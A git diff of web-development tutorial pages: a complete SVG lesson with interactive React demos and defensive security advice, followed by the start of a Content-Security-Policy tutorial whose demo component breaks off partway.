+  const attrText = Object.keys(current.attrs).map((name) => name + '="' + current.attrs[name] + '"').join(" ");
+  const code = '<svg viewBox="0 0 200 100">\n  <' + current.tag + " " + attrText + '\n    fill="' + (kind === "line" ? "none" : fill) + '" stroke="' + stroke + '" stroke-width="' + width + '"' + (kind === "path" ? ' stroke-linecap="round"' : "") + " />\n</svg>";
+  const Shape = current.tag;
+  const shapeProps = {...current.attrs, fill: kind === "line" || kind === "path" ? "none" : fill, stroke, strokeWidth: width};
+  if (kind === "path") shapeProps.strokeLinecap = "round";
+  return (
+    <div>
+      <p style={{display: "flex", gap: "1rem", flexWrap: "wrap", margin: "0 0 0.5rem"}}>
+        <label>Shape{" "}
+          <select value={kind} onChange={(event) => setKind(event.target.value)}>
+            <option value="circle">circle</option>
+            <option value="rect">rect</option>
+            <option value="ellipse">ellipse</option>
+            <option value="line">line</option>
+            <option value="polygon">polygon</option>
+            <option value="path">path</option>
+          </select>
+        </label>
+        <label>Fill <input type="color" value={fill} onChange={(event) => setFill(event.target.value)} disabled={kind === "line" || kind === "path"} /></label>
+        <label>Stroke <input type="color" value={stroke} onChange={(event) => setStroke(event.target.value)} /></label>
+      </p>
+      <p style={{display: "flex", gap: "1rem", flexWrap: "wrap", margin: "0 0 0.5rem"}}>
+        <label>x <input type="range" min="10" max="110" value={x} onChange={(event) => setX(Number(event.target.value))} aria-valuetext={"x " + x} /></label>
+        <label>y <input type="range" min="10" max="60" value={y} onChange={(event) => setY(Number(event.target.value))} aria-valuetext={"y " + y} /></label>
+        <label>size <input type="range" min="10" max="45" value={size} onChange={(event) => setSize(Number(event.target.value))} aria-valuetext={"size " + size} /></label>
+        <label>stroke width <input type="range" min="0" max="10" value={width} onChange={(event) => setWidth(Number(event.target.value))} aria-valuetext={width + " units"} /></label>
+      </p>
+      <svg viewBox="0 0 200 100" role="img" aria-label={"A " + kind + " drawn on a light grid"} style={{width: "100%", maxWidth: "28rem", background: "#f8fafc", border: "1px solid #cbd5e1", borderRadius: "6px", display: "block"}}>
+        <path d="M0 50H200M100 0V100" stroke="#e2e8f0" strokeWidth="1" />
+        <Shape {...shapeProps} />
+      </svg>
+      <pre style={{margin: "0.6rem 0 0", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{code}</code></pre>
+    </div>
+  );
+}
+
+export function ViewBoxDemo() {
+  const [vbx, setVbx] = useState(0);
+  const [vby, setVby] = useState(0);
+  const [vbw, setVbw] = useState(200);
+  const [fit, setFit] = useState("xMidYMid meet");
+  const vbh = vbw / 2;
+  return (
+    <div>
+      <p style={{display: "flex", gap: "1rem", flexWrap: "wrap", margin: "0 0 0.5rem"}}>
+        <label>min-x <input type="range" min="-50" max="150" step="5" value={vbx} onChange={(event) => setVbx(Number(event.target.value))} aria-valuetext={"min-x " + vbx} /></label>
+        <label>min-y <input type="range" min="-25" max="75" step="5" value={vby} onChange={(event) => setVby(Number(event.target.value))} aria-valuetext={"min-y " + vby} /></label>
+        <label>viewBox width <input type="range" min="50" max="300" step="10" value={vbw} onChange={(event) => setVbw(Number(event.target.value))} aria-valuetext={"width " + vbw} /></label>
+      </p>
+      <p style={{margin: "0 0 0.5rem"}}>
+        <label>preserveAspectRatio{" "}
+          <select value={fit} onChange={(event) => setFit(event.target.value)}>
+            <option value="xMidYMid meet">xMidYMid meet (fit, keep shape)</option>
+            <option value="xMidYMid slice">xMidYMid slice (fill, crop)</option>
+            <option value="none">none (stretch)</option>
+          </select>
+        </label>
+      </p>
+      <svg
+        width="280"
+        height="160"
+        viewBox={vbx + " " + vby + " " + vbw + " " + vbh}
+        preserveAspectRatio={fit}
+        role="img"
+        aria-label="A small house on a hill under a yellow sun"
+        style={{border: "2px dashed #94a3b8", background: "#fff", display: "block", maxWidth: "100%"}}
+      >
+        <rect x="-100" y="-50" width="400" height="200" fill="#e0f2fe" />
+        <circle cx="160" cy="22" r="14" fill="#facc15" />
+        <path d="M-50 100 Q 50 50 150 90 T 300 80 V150 H-50 Z" fill="#86efac" />
+        <rect x="60" y="55" width="40" height="30" fill="#f97316" />
+        <polygon points="55,55 80,35 105,55" fill="#b91c1c" />
+        <rect x="75" y="68" width="10" height="17" fill="#fff7ed" />
+      </svg>
+      <pre style={{margin: "0.6rem 0 0", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{'<svg width="280" height="160"\n     viewBox="' + vbx + " " + vby + " " + vbw + " " + vbh + '"\n     preserveAspectRatio="' + fit + '">'}</code></pre>
+      <p style={{margin: "0.4rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        The picture is always drawn in the same coordinates. The <code>viewBox</code> chooses which part of that space the 280 by 160 box shows, like a camera frame.
+      </p>
+    </div>
+  );
+}
+
+export function SvgA11yDemo() {
+  const [mode, setMode] = useState("none");
+  const modes = {
+    none: {label: "No text alternative", says: "Nothing helpful. Depending on the screen reader, it may be skipped, or announced as just “graphic” or “image” with no name, or its numbers may be read one by one.", good: false},
+    title: {label: "role=img with a title", says: "“Sales rose 25 percent in June, image.”", good: true},
+    desc: {label: "title plus a longer description", says: "“Sales chart, image.”, then the description: “Bars for April, May and June: 40, 48 and 60 units.”", good: true},
+    hidden: {label: "Decorative (aria-hidden)", says: "Nothing. It is skipped, which is right for a picture that adds no information.", good: true},
+  };
+  const common = {viewBox: "0 0 120 60", width: "240", height: "120", style: {border: "1px solid #cbd5e1", borderRadius: "6px", background: "#fff", display: "block"}};
+  const bars = (
+    <g fill="#2563eb">
+      <rect x="15" y="30" width="20" height="25" />
+      <rect x="50" y="24" width="20" height="31" fill="#1d4ed8" />
+      <rect x="85" y="10" width="20" height="45" fill="#1e40af" />
+    </g>
+  );
+  const code = {
+    none: '<svg viewBox="0 0 120 60">\n  <rect …/> <rect …/> <rect …/>\n</svg>',
+    title: '<svg viewBox="0 0 120 60" role="img" aria-labelledby="t">\n  <title id="t">Sales rose 25 percent in June</title>\n  <rect …/> <rect …/> <rect …/>\n</svg>',
+    desc: '<svg viewBox="0 0 120 60" role="img"\n     aria-labelledby="t" aria-describedby="d">\n  <title id="t">Sales chart</title>\n  <desc id="d">Bars for April, May and June: 40, 48 and 60 units.</desc>\n  <rect …/> <rect …/> <rect …/>\n</svg>',
+    hidden: '<svg viewBox="0 0 120 60" aria-hidden="true" focusable="false">\n  <rect …/> <rect …/> <rect …/>\n</svg>',
+  }[mode];
+  return (
+    <div>
+      <fieldset style={{margin: "0 0 0.6rem"}}>
+        <legend>How is the chart labelled?</legend>
+        {Object.keys(modes).map((key) => (
+          <label key={key} style={{display: "block"}}>
+            <input type="radio" name="svg-a11y" checked={mode === key} onChange={() => setMode(key)} /> {modes[key].label}
+          </label>
+        ))}
+      </fieldset>
+      {mode === "none" && (<svg {...common}>{bars}</svg>)}
+      {mode === "title" && (
+        <svg {...common} role="img" aria-labelledby="sa-t1">
+          <title id="sa-t1">Sales rose 25 percent in June</title>
+          {bars}
+        </svg>
+      )}
+      {mode === "desc" && (
+        <svg {...common} role="img" aria-labelledby="sa-t2" aria-describedby="sa-d2">
+          <title id="sa-t2">Sales chart</title>
+          <desc id="sa-d2">Bars for April, May and June: 40, 48 and 60 units.</desc>
+          {bars}
+        </svg>
+      )}
+      {mode === "hidden" && (<svg {...common} aria-hidden="true" focusable="false">{bars}</svg>)}
+      <pre style={{margin: "0.6rem 0 0.4rem", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{code}</code></pre>
+      <p role="status" style={{margin: 0, color: modes[mode].good ? "#15803d" : "#b91c1c"}}>
+        <strong>A screen reader user may hear:</strong> {modes[mode].says}
+      </p>
+      <p style={{margin: "0.4rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        Exact announcements differ between screen readers and browsers, so test with the ones your visitors use. For an important chart, also give a data table.
+      </p>
+    </div>
+  );
+}
+
+A photograph is made of **pixels**. Zoom in far enough, and it turns into squares. An **SVG** (Scalable Vector Graphics) is different: it is a **list of instructions**. "Draw a circle here, this big, in this colour." Zoom in as far as you like, and the circle stays perfectly sharp, because the computer simply draws it again.
+
+SVG is written in **markup that looks like HTML**, can be placed right inside your page, can be styled with CSS, and can be changed with JavaScript. It is the best choice for icons, logos, charts, diagrams, and illustrations.
+
+<AdsComponent />
+<br />
+
+## What You Will Learn
+
+- Writing an SVG, and the `viewBox` that controls its scale
+- Basic shapes, paths, text, groups, and gradients
+- Styling with CSS and `currentColor`
+- Reusing shapes with `symbol` and `use`
+- Four ways to include SVG, and which to choose
+- Making SVG accessible
+- Animation, performance, security, and common mistakes
+
+## The Basics
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<svg viewBox="0 0 200 100" role="img" aria-labelledby="logo-title">
+  <title id="logo-title">A blue circle beside the word Hello</title>
+  <circle cx="50" cy="50" r="30" fill="#2563eb" />
+  <text x="95" y="58" font-size="24" fill="#0f172a">Hello</text>
+</svg>
+```
+
+```css title="style.css"
+svg {
+  width: 100%;
+  max-width: 20rem;
+  height: auto;
+}
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<svg viewBox="0 0 200 100" role="img" aria-labelledby="svg-basic-title" style={{width: "100%", maxWidth: "20rem", height: "auto", display: "block"}}>
+  <title id="svg-basic-title">A blue circle beside the word Hello</title>
+  <circle cx="50" cy="50" r="30" fill="#2563eb" />
+  <text x="95" y="58" fontSize="24" fill="#0f172a">Hello</text>
+</svg>
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+An `<svg>` element is a **canvas of its own** with its own coordinates. The shapes inside it (`circle`, `rect`, `text`, and so on) are real elements, so CSS and JavaScript can reach every one.
+
+## Coordinates and `viewBox`
+
+Inside an SVG, the **top-left corner is (0, 0)**. The x value grows to the right, and the **y value grows downwards**, which is the opposite of a school graph.
+
+The **`viewBox`** attribute is the most important one. It has four numbers: `min-x min-y width height`. It defines the **private coordinate space** you draw in, and the browser **scales** that space to fit the real size of the `<svg>` element.
+
+```html
+<svg viewBox="0 0 200 100" width="400">   <!-- shown twice as big, but nothing is redrawn by you -->
+```
+
+That is why SVG is "scalable": you draw once, in convenient numbers, and CSS decides the final size.
+
+### Try It: Move the Camera
+
+Change the `viewBox` numbers and see which part of the drawing is shown. Then change `preserveAspectRatio`, and watch how the picture fits a box of a different shape.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<!-- The whole picture -->
+<svg width="280" height="160" viewBox="0 0 200 100">…</svg>
+
+<!-- Zoomed in on the house -->
+<svg width="280" height="160" viewBox="50 30 80 40">…</svg>
+
+<!-- Fill the box and crop, instead of leaving gaps -->
+<svg width="280" height="160" viewBox="0 0 200 100"
+     preserveAspectRatio="xMidYMid slice">…</svg>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<ViewBoxDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Remember:
+
+- **Always set a `viewBox`.** Without one, the SVG will not scale with its box.
+- A smaller `viewBox` width means **zooming in**. A larger one means zooming out.
+- **`preserveAspectRatio`** decides what happens when the box and the `viewBox` have different shapes: `meet` (fit it all, keep the shape), `slice` (fill the box, crop the edges), or `none` (stretch, which distorts).
+- For a fluid layout, set `width: 100%; height: auto;` in CSS, as with images.
+
+## Basic Shapes
+
+| Element | Draws | Main attributes |
+| :-- | :-- | :-- |
+| `rect` | A rectangle | `x`, `y`, `width`, `height`, `rx` (rounded corners) |
+| `circle` | A circle | `cx`, `cy` (centre), `r` (radius) |
+| `ellipse` | An oval | `cx`, `cy`, `rx`, `ry` |
+| `line` | A straight line | `x1`, `y1`, `x2`, `y2` (needs a `stroke`) |
+| `polyline` | Connected lines (open) | `points` |
+| `polygon` | Connected lines (closed) | `points` |
+| `path` | **Anything** | `d` (a list of drawing commands) |
+| `text` | Text | `x`, `y`, `font-size` |
+
+### Try It: Draw a Shape
+
+Pick a shape, move its position and size, and read the code it writes.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<svg viewBox="0 0 200 100">
+  <circle cx="60" cy="40" r="15" fill="#38bdf8" stroke="#0f172a" stroke-width="3" />
+  <rect x="100" y="25" width="60" height="30" rx="8" fill="#f97316" />
+  <line x1="20" y1="85" x2="180" y2="85" stroke="#0f172a" stroke-width="2" />
+</svg>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<ShapePlayground />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+### Paths
+
+A `<path>` draws with a list of **commands** in its `d` attribute. Each is a letter followed by numbers:
+
+| Command | Meaning |
+| :-- | :-- |
+| `M x y` | **Move** to a point, without drawing |
+| `L x y` | Draw a **line** to a point |
+| `H x`, `V y` | Draw a horizontal or vertical line |
+| `Q cx cy x y` | A **quadratic curve** with one control point |
+| `C c1x c1y c2x c2y x y` | A **cubic curve** with two control points |
+| `A rx ry rotation large sweep x y` | An **arc** |
+| `Z` | **Close** the shape |
+
+An **uppercase** letter uses absolute coordinates. A **lowercase** letter is relative to the current point (`l 10 0` means "10 to the right").
+
+```html
+<path d="M 20 80 Q 60 10 100 80 T 180 80" fill="none" stroke="#2563eb" stroke-width="4" />
+```
+
+You rarely write long paths by hand. Draw in a design tool, export the SVG, and then **tidy it** (see Performance below).
+
+## Styling SVG
+
+Shapes take their look from **presentation attributes**, such as `fill` and `stroke`, **or from CSS**. CSS wins when both are present.
+
+```html
+<svg viewBox="0 0 100 100" class="badge">
+  <circle cx="50" cy="50" r="40" />
+</svg>
+```
+
+```css
+.badge circle {
+  fill: #2563eb;
+  stroke: #1e3a8a;
+  stroke-width: 4;
+}
+
+.badge circle:hover {
+  fill: #1d4ed8;
+}
+```
+
+Useful properties: `fill`, `stroke`, `stroke-width`, `stroke-linecap`, `stroke-linejoin`, `stroke-dasharray`, `opacity`, `transform`, `font-family`, `font-size`.
+
+### `currentColor`: Icons That Follow Your Text
+
+Set `fill="currentColor"` (or `stroke="currentColor"`), and the shape uses the **text colour** of its parent. Then one icon works in every theme, including dark mode and hover states.
+
+```html
+<button class="icon-button">
+  <svg viewBox="0 0 24 24" width="20" height="20" aria-hidden="true" focusable="false">
+    <path fill="currentColor" d="M12 2 2 7l10 5 10-5-10-5Z" />
+  </svg>
+  <span>Layers</span>
+</button>
+```
+
+```css
+.icon-button { color: #1d4ed8; }
+.icon-button:hover { color: #1e3a8a; }   /* the icon changes with the text */
+```
+
+## Grouping and Reuse
+
+- **`<g>`** groups shapes, so you can style or move them together: `<g fill="#f97316" transform="translate(20 10)">…</g>`.
+- **`<defs>`** holds things you define but do not draw directly (gradients, patterns, symbols).
+- **`<symbol>` and `<use>`** let you draw a shape once and **reuse** it many times, like a stamp:
+
+```html
+<svg style="display:none">
+  <symbol id="icon-star" viewBox="0 0 24 24">
+    <path fill="currentColor" d="M12 2l3 7 7 .6-5.3 4.7L18.2 22 12 18l-6.2 4 1.5-7.7L2 9.6 9 9z" />
+  </symbol>
+</svg>
+
+<svg class="icon" width="24" height="24" aria-hidden="true"><use href="#icon-star" /></svg>
+<svg class="icon" width="48" height="48" aria-hidden="true"><use href="#icon-star" /></svg>
+```
+
+Using `<use href>` to point at a symbol **in the same page** is simple and dependable. Pointing at a separate `.svg` file has more rules (it must be from the same origin, and some older browsers differ), so test it, or inline the sprite.
+
+Use `display:none` carefully on the sprite: some tools hide gradients and masks inside it. Hiding it with `width="0" height="0" style="position:absolute"` is a safer alternative.
+
+### Gradients
+
+```html
+<svg viewBox="0 0 200 60">
+  <defs>
+    <linearGradient id="sunset" x1="0" y1="0" x2="1" y2="0">
+      <stop offset="0" stop-color="#f97316" />
+      <stop offset="1" stop-color="#be123c" />
+    </linearGradient>
+  </defs>
+  <rect width="200" height="60" rx="10" fill="url(#sunset)" />
+</svg>
+```
+
+Check the **text contrast** over a gradient at its lightest point.
+
+## Text in SVG
+
+```html
+<text x="10" y="30" font-size="20" fill="#0f172a">Revenue</text>
+```
+
+- SVG text is **real text**: it can be selected, searched, and read by screen readers, and it scales with the drawing. Prefer it to text converted into outlines.
+- **There is no automatic line wrapping.** Break lines yourself with `<tspan>`, or place the text in HTML next to the SVG.
+- Use `text-anchor="middle"` to centre text on a point, and `dominant-baseline` to adjust vertical alignment.
+- Text scales with the SVG, so a small SVG on a phone can make the text tiny. Check readability at every size.
+
+## Four Ways to Include SVG
+
+| Way | Example | Scripts and CSS from your page | Good for |
+| :-- | :-- | :-- | :-- |
+| **Inline** | `<svg>…</svg>` in the HTML | **Yes**, fully | Icons, charts, anything you style or animate |
+| **`img`** | `<img src="logo.svg" alt="…">` | No. Scripts inside do not run | Logos and illustrations that are just pictures. Safe and cacheable |
+| **`object`** | `<object data="logo.svg" type="image/svg+xml">` | Only from the same origin, through `contentDocument` | When you need a fallback and a separate file |
+| **CSS background** | `background: url(logo.svg)` | No | Decoration |
+
+A simple rule: **use `img` for pictures, and inline SVG for anything interactive or themed.** See [Object](./object) for the third option, and [Embed](./embed) for why `embed` is rarely the right choice.
+
+## Accessibility
+
+An SVG is not automatically understood by assistive technology. You must decide what it **is**.
+
+| The SVG is… | Do this |
+| :-- | :-- |
+| A **meaningful** image (a logo, a simple chart) | `role="img"`, with `<title>` and `aria-labelledby` |
+| A **complex** image (a detailed chart or diagram) | A title, a `<desc>` (`aria-describedby`), and a **data table or text version** on the page |
+| **Decorative** | `aria-hidden="true"` (and `focusable="false"` for older browsers) |
+| An **icon inside a button or link** | Hide the icon with `aria-hidden="true"`, and give the button visible text or an `aria-label` |
+| **Interactive** (clickable parts) | Use real `<a>` or `<button>` elements, or give shapes `tabindex`, a role, and keyboard handlers |
+
+### Try It: Label an SVG
+
+Try each way of labelling the same chart, and see what a screen reader might say.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<svg viewBox="0 0 120 60" role="img"
+     aria-labelledby="t" aria-describedby="d">
+  <title id="t">Sales chart</title>
+  <desc id="d">Bars for April, May and June: 40, 48 and 60 units.</desc>
+  <rect x="15" y="30" width="20" height="25" />
+  <rect x="50" y="24" width="20" height="31" />
+  <rect x="85" y="10" width="20" height="45" />
+</svg>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<SvgA11yDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+More points:
+
+- **Put the `<title>` first inside the SVG,** and connect it with `aria-labelledby`. Relying on the title alone (without the ARIA attributes) is less dependable across screen readers.
+- **Do not use a tooltip alone** to give information. The `<title>` also shows a tooltip in some browsers, but touch and keyboard users never see it.
+- **Do not rely on colour alone** in charts. Add labels, patterns, or shapes.
+- **Keep contrast high:** at least 3 to 1 for graphics that carry meaning, and 4.5 to 1 for text.
+- **Keep focus visible** on any interactive part of the graphic.
+
+## Animation and Motion
+
+SVG can be animated with **CSS** (the simplest), JavaScript, or SVG's own animation elements.
+
+```css
+.spinner {
+  transform-origin: 50% 50%;
+  animation: spin 1.2s linear infinite;
+}
+
+@keyframes spin {
+  to { transform: rotate(360deg); }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .spinner { animation: none; }
+}
+```
+
+Always provide a way to **pause** anything that moves for more than about 5 seconds, avoid flashing more than three times a second, and respect `prefers-reduced-motion`. See [Accessible Media](/tutorials/html/audio-video/accessible-media).
+
+## Performance
+
+- **SVG is small for simple graphics,** but a detailed illustration or map with thousands of points can be heavy.
+- **Clean up exported files.** Design tools add comments, metadata, and extra precision. A tool such as **SVGO** can often cut the size by half with no visible change.
+- **Reduce path precision** (two decimal places are usually plenty).
+- **Do not inline huge SVGs** in your HTML many times. Use a sprite, or load a file with `img`.
+- **For very large numbers of moving objects** (thousands of particles), [canvas](./canvas) may be faster.
+- **Compress with gzip or Brotli** on the server. SVG is text, so it compresses very well.
+
+## SVG or Canvas?
+
+| | SVG | Canvas |
+| :-- | :-- | :-- |
+| Made of | Elements you can select, style, and listen to | One bitmap you draw into |
+| Sharp at any size | **Yes** | Only if you redraw at the right resolution |
+| Accessibility | Natural: text and structure exist | You must supply everything |
+| Best for | Icons, logos, charts, diagrams, UI | Games, effects, thousands of moving objects |
+
+## Security and Privacy Notes
+
+- **SVG can contain scripts and links.** An uploaded SVG file is not a harmless picture. It can run JavaScript if opened directly, or inline, or in an `object` or `iframe`.
+- **Never put an untrusted SVG inline** in your page, and never put one in an `object` on your own origin.
+- **Show user-supplied SVG with `img`,** where scripts do not run, **and sanitise uploads on the server** (strip `script`, event attributes such as `onload`, `foreignObject`, and external references).
+- **Serve SVG with the right type** (`image/svg+xml`), and add `X-Content-Type-Options: nosniff`.
+- **Build SVG text with `textContent`,** not by pasting visitors' words into markup, so they cannot inject elements.
+- **Watch for external references.** An SVG that loads fonts, images, or styles from other sites can reveal who is viewing it.
+- **Do not hide secrets in SVG.** Comments, metadata, and hidden layers are all public. Remove editor metadata (author names, file paths) before publishing.
+
+## Global Audience Notes
+
+- **Keep text as real text** so it can be translated and read in any language, and avoid text converted to outlines.
+- **Leave room for longer text.** Translations can be much longer, and SVG does not wrap lines.
+- **Right-to-left languages:** set `direction` and `text-anchor="start"`/`end` carefully, and test mirrored layouts. Icons that show direction (arrows, back buttons) may need to flip.
+- **Use fonts that cover the scripts you need,** or a system font stack.
+- **Do not rely on colour meanings** that differ between cultures, and add labels as well.
+- **SVG is light,** which helps on slow connections and old phones. Prefer it to large PNG files for line art.
+
+## Common Mistakes to Avoid
+
+1. **No `viewBox`,** so the graphic does not scale.
+2. **A fixed `width` and `height` only,** so it overflows small screens.
+3. **No accessible name** on a meaningful SVG, or no `aria-hidden` on a decorative one.
+4. **Relying on `<title>` alone** for important information.
+5. **Putting an untrusted SVG inline or in an `object`.**
+6. **Converting text to outlines,** so it cannot be translated or read.
+7. **Forgetting `stroke` on a `line`,** so nothing appears.
+8. **Using the wrong y direction** (y grows down).
+9. **Duplicate `id` values** across several inline SVGs, which breaks gradients and `aria-labelledby`.
+10. **Huge, unoptimised exports.**
+11. **Animating with no pause and no reduced-motion rule.**
+12. **Icon-only buttons with no name.**
+
+## Practice Time
+
+Try these in your editor:
+
+1. Draw a circle, a rectangle, and a line inside an `<svg viewBox="0 0 200 100">`.
+2. Change the `viewBox` to zoom in on one shape.
+3. Make the SVG fill its container with `width: 100%; height: auto;`.
+4. Draw a triangle with `polygon`, and a curve with `path`.
+5. Style a shape with CSS, and add a `:hover` colour.
+6. Make an icon with `fill="currentColor"`, and change the text colour around it.
+7. Define a `symbol` once, and `use` it three times at different sizes.
+8. Add a `linearGradient` background to a rectangle.
+9. Add `role="img"`, a `<title>`, and `aria-labelledby`, then check the name in the accessibility panel.
+10. Bonus: animate a shape with CSS, and add a `prefers-reduced-motion` rule.
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. What does the `viewBox` do?</summary>
+
+It defines the private coordinate space you draw in (`min-x min-y width height`), and the browser scales it to fit the SVG's real size. It is what makes SVG scalable.
+
+</details>
+
+<details>
+<summary>2. Which direction does y grow in SVG?</summary>
+
+Downwards. The point (0, 0) is the top-left corner.
+
+</details>
+
+<details>
+<summary>3. Why use `fill="currentColor"` on icons?</summary>
+
+The icon takes the surrounding text colour, so it follows hover states and themes (including dark mode) with no extra CSS.
+
+</details>
+
+<details>
+<summary>4. How should you label a meaningful SVG?</summary>
+
+Give it `role="img"`, a `<title>`, and `aria-labelledby`. For complex graphics, add a `<desc>` with `aria-describedby`, and a data table or text version. Hide decorative ones with `aria-hidden="true"`.
+
+</details>
+
+<details>
+<summary>5. When should you use `img` instead of inline SVG?</summary>
+
+When the SVG is just a picture. Scripts inside an `img` do not run, so it is safer, and it is simple to cache. Use inline SVG when you need to style, animate, or script it from your page.
+
+</details>
+
+<details>
+<summary>6. Why is an uploaded SVG file risky?</summary>
+
+SVG can contain scripts and external references. Show untrusted SVG with `img`, and sanitise uploads on the server. Never put them inline or in an `object` on your own origin.
+
+</details>
+
+## Key Takeaways
+
+- **SVG** is a list of drawing instructions in markup. It stays **sharp at any size**.
+- Always set a **`viewBox`**, and let CSS control the final size.
+- Use basic shapes and **`path`** for everything else, and remember that **y grows down**.
+- Style with CSS, and use **`currentColor`** so icons follow your text colour.
+- Reuse shapes with **`symbol` and `use`**, and keep ids unique.
+- Use **`img`** for pictures, **inline SVG** for anything you style or script.
+- Make SVG accessible: `role="img"` with `title`, `desc` for complex graphics, `aria-hidden` for decoration, and a text version of important data.
+- Treat untrusted SVG as code: sanitise it, and show it with `img`.
+- Respect reduced motion, optimise exported files, and keep text as real text.
+
+Next, draw with pixels and script in [Canvas](./canvas), or return to the [Embedded Content overview](../embedded-content).
\ No newline at end of file
diff --git a/tutorials/html/11-embedded-content/third-party-content-security.mdx b/tutorials/html/11-embedded-content/third-party-content-security.mdx
index 87a77f9da..93cb08355 100644
--- a/tutorials/html/11-embedded-content/third-party-content-security.mdx
+++ b/tutorials/html/11-embedded-content/third-party-content-security.mdx
@@ -1,15 +1,648 @@
 ---
-id: third-party-content-security
-title: "Third-Party Content Security: Sandbox, CSP, and CORS"
-sidebar_label: "Content Security & Isolation"
+id: html-third-party-content-security
+title: "Third-Party Content Security"
+sidebar_label: "Third-Party Content Security"
 sidebar_position: 8
 slug: /html/embedded-content/third-party-content-security
-description: "Protect web applications against clickjacking, XSS, and unauthorized data access when embedding third-party content using sandbox attributes and security policies."
+description: "Learn how to keep a page safe when it embeds content you did not write: the risks of scripts, iframes and widgets, Content-Security-Policy, Subresource Integrity, iframe sandbox, Permissions-Policy, referrer and link rules, consent and privacy, click-to-load, auditing, and incident planning, with live demos."
 keywords:
+  - third party content security
+  - Content-Security-Policy tutorial
+  - CSP script-src frame-src
+  - Subresource Integrity SRI
   - iframe sandbox security
-  - third party content isolation
-  - Content Security Policy iframe
-  - prevent clickjacking HTML
+  - Permissions-Policy header
+  - Referrer-Policy
+  - supply chain attack web
+  - clickjacking frame-ancestors
+  - third party scripts privacy consent
+  - rel noopener noreferrer
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, security, iframe, sandbox, csp]
----
\ No newline at end of file
+tags: [html, web-development, beginner, security, csp, sri, iframe, privacy, embedded-content, frontend]
+---
+
+import {useEffect, useState} from 'react';
+
+export const selfOrigin = "https://shop.example";
+
+export const cspResources = [
+  {id: 1, label: "Your own script", kind: "script", url: "https://shop.example/app.js"},
+  {id: 2, label: "A library from a CDN", kind: "script", url: "https://cdn.example.com/lib.js"},
+  {id: 3, label: "An analytics script", kind: "script", url: "https://analytics.tracker.net/t.js"},
+  {id: 4, label: "An inline script block", kind: "inline", url: "inline"},
+  {id: 5, label: "A video player frame", kind: "frame", url: "https://player.example.com/embed/42"},
+  {id: 6, label: "Your own logo image", kind: "img", url: "https://shop.example/logo.png"},
+  {id: 7, label: "An advertising pixel", kind: "img", url: "https://ads.tracker.net/pixel.gif"},
+  {id: 8, label: "A small data: image", kind: "img", url: "data:image/png;base64,iVBOR"},
+  {id: 9, label: "A call to your own API", kind: "connect", url: "https://shop.example/api/cart"},
+  {id: 10, label: "A call to a third-party API", kind: "connect", url: "https://api.thirdparty.net/rates"},
+];
+
+export const directiveFor = {script: "script-src", inline: "script-src", frame: "frame-src", img: "img-src", connect: "connect-src"};
+
+export function cspAllows(policy, resource) {
+  const own = (policy[directiveFor[resource.kind]] || "").trim();
+  const fallback = (policy["default-src"] || "").trim();
+  const effective = own || fallback;
+  if (!effective) return true;                       // no rule means no restriction
+  const tokens = effective.split(/\s+/);
+  if (tokens.length === 1 && tokens[0] === "'none'") return false;
+  if (resource.kind === "inline") return tokens.includes("'unsafe-inline'");
+  if (resource.url.startsWith("data:")) return tokens.includes("data:") || tokens.includes("*");
+  const origin = new URL(resource.url).origin;
+  return tokens.some((token) => {
+    if (token === "*") return true;
+    if (token === "'self'") return origin === selfOrigin;
+    if (token === "https:") return origin.startsWith("https:");
+    if (token.startsWith("https://")) return origin === token.replace(/\/$/, "");
+    return false;
+  });
+}
+
+export function CspLab() {
+  const strict = {
+    "default-src": "'self'",
+    "script-src": "'self' https://cdn.example.com",
+    "frame-src": "https://player.example.com",
+    "img-src": "'self' data:",
+    "connect-src": "'self'",
+  };
+  const [policy, setPolicy] = useState(strict);
+  const [reportOnly, setReportOnly] = useState(false);
+  const names = Object.keys(strict);
+  const headerName = reportOnly ? "Content-Security-Policy-Report-Only" : "Content-Security-Policy";
+  const parts = names.filter((name) => (policy[name] || "").trim()).map((name) => name + " " + policy[name].trim());
+  const header = parts.length ? headerName + ": " + parts.join("; ") : "(no policy: everything is allowed)";
+  const results = cspResources.map((resource) => ({...resource, allowed: cspAllows(policy, resource)}));
+  const blocked = results.filter((entry) => !entry.allowed).length;
+  const loose = {
+    "default-src": "* 'unsafe-inline'",
+    "script-src": "",
+    "frame-src": "",
+    "img-src": "",
+    "connect-src": "",
+  };
+  const empty = {"default-src": "", "script-src": "", "frame-src": "", "img-src": "", "connect-src": ""};
+  return (
+    <div>
+      <p style={{display: "flex", gap: "0.5rem", flexWrap: "wrap", margin: "0 0 0.5rem"}}>
+        <button type="button" onClick={() => setPolicy(strict)}>A careful policy</button>
+        <button type="button" onClick={() => setPolicy(loose)}>A too-loose policy</button>
+        <button type="button" onClick={() => setPolicy(empty)}>No policy</button>
+        <label style={{marginInlineStart: "0.5rem"}}>
+          <input type="checkbox" checked={reportOnly} onChange={(event) => setReportOnly(event.target.checked)} /> Report-only mode
+        </label>
+      </p>
+      <fieldset style={{margin: "0 0 0.5rem"}}>
